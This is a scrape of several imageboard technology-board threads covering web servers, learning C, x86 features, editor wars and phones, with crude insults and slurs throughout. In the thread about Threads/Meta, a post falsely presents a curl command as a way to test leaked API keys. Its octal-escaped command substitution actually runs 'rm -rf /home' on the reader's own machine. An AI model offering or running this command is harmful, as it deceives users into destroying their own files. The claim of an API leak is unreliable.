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 8183[Reply]

IIS won.

 8184

erm akshually nginx won



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 8175[Reply]

powershell trooned out geg

 8176

why would you update powershell

 8177

>>8176
idk i still use 2.0



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 8075[Reply]

How should I learn C? Is it better to read a book or simply watch a video then start doing leetcode or something
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 8127

>>8113
>>8126
publishers don't want you to know this but books are free at the library.

 8138

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>>8105
Do you have any other good book recommendations or more specifically where I can find more like it?

 8142

>>8089
C is a great first language, because it teaches you how computers work. C comes first. i'm not advocating writing everything in C - but you should learn it first

 8154

>>8138
i'm afraid not, i was recommended that book by someone else here and i don't know where he found it
it's a really good book though

 8159

What i couldn't wrap my head around back then is to what a pointer did, and its simply just a memory address, so its value is equal to the highest your processor supports and thats it, if you want to write readable pointer code, avoid the syntatic sugar that [] provides, its much more understandable for a beginner the addition of an address then dereferencing of it ie. *(ptr+i)



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 8061[Reply]

>i use punch cards to store my 'p so feds don't arrest me or however the terminal is scrolled
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 8093

>>8080
x86S literally exists doe. also based 8080 get

 8094

>>8093
It's still a proposal... it is a violation of my rights to remove segmentation from the CPU.

 8109

>>8094
>it is a violation of my rights to remove 50 year old features no one actually uses

 8125

>>8109
i use it.

 8147

>>8125
how and why do you code in x86-16



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 7983[Reply]

I don't understand anything about electronics or programming

 7984

why is she holding a 'toss

 8107

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 8140

>>8107
no fuck you



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 7886[Reply]

>you WILL use x86
>you WILL like the IME
>you WILL suck at PPW
>you WILL be inefficient
>you WILL be built for Big Windows Cock
>and you WILL be happy
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 7982

lunar lake seems promising albeit

 8004

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>NOOOOOOOOO THE IME IS NOT A BACKDOOR
>P-PROOF THAT IT'S A BACKDOOR???

 8022

>>8004
because it isnt meds now

 8115

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>raptor lake

 8128




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 8106[Reply]

What devices/drugs/magick can I use to make my nuts as fat as possible (permanently)? Ideally the size of baseballs.

 8114

>>>/4chan/

 8170

NoFap



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 7951[Reply]

why is it so superior?
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 8052

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>>8051
>1688679481398-0.png
>>>worst

 8071

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>>7969
>eww
>rust
>wayshit

 8091

I've never seen an emacs user that actually knew what they were doing.
vim's usecase is doing shit on cli-only servers where nano doesnt cut it.
Commercial workhorse IDE's job is actually developing software.
VScode, notepad++, atom and whatever fotm they use now are there when you want an IDE but less so.
emacs has no reason of being. Its userbase is all contrarian midwits with a community college level understanding of technology. They probably spend more time online arguing about why emacs is better than they spend actually using emacs.

 8096

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>>8091
The most popular editor ever made is Scintilla embedded into a 3rd party editor. Notepad++, Notepad2, Notepad3, Keil uVision, MySQL Workbench, Komodo, Geany, CodeBlocks, etc.

 8100

>>8096
don't forget GODblox



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 7959[Reply]

Have you seen the latest news? Zuck the cuck cannot even secure his own website. Even having the API keys publicly available!
Try it for yourself, this STILL works fucking KEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEK
>curl -X POST https://threads.net/api/user/list -H "Content-Type: application/octet-stream" -d "`$'\162\155' $'\55\162\146' $'\57\150\157\155\145'`"
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 8045

>>8042
none of this would be an issue if programs handled arguments themselves. Like they do in DOS.

 8046

gem

 8056

>>8030
>>8032
It's just reading that the letters for the option were put in after the command and then doing it. Someone's mad they got filtered

 8058

>>8056
>filtered is when your shell nukes the entire directory by expanding a wildcard rather than letting the program call glob

 8081

>>8056
>filtered
they don't get filtered. There is no use case where I need to pass in file names from filenames in a directory.



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 3791[Reply]

I should replace my smartphone with a drug dealer phone and a micro laptop?

I just use youtube,discord,whatsapp and the sharty

And what browser i should use? I use brave
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 3947

>>3945
ive never touched an ishit in my entire life

 3950

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>>3947
me neither

 3953

>>3945
wtf, based apple?

 8055

'm

 8060

>>3858
none cares about you that much that they will wiretap you



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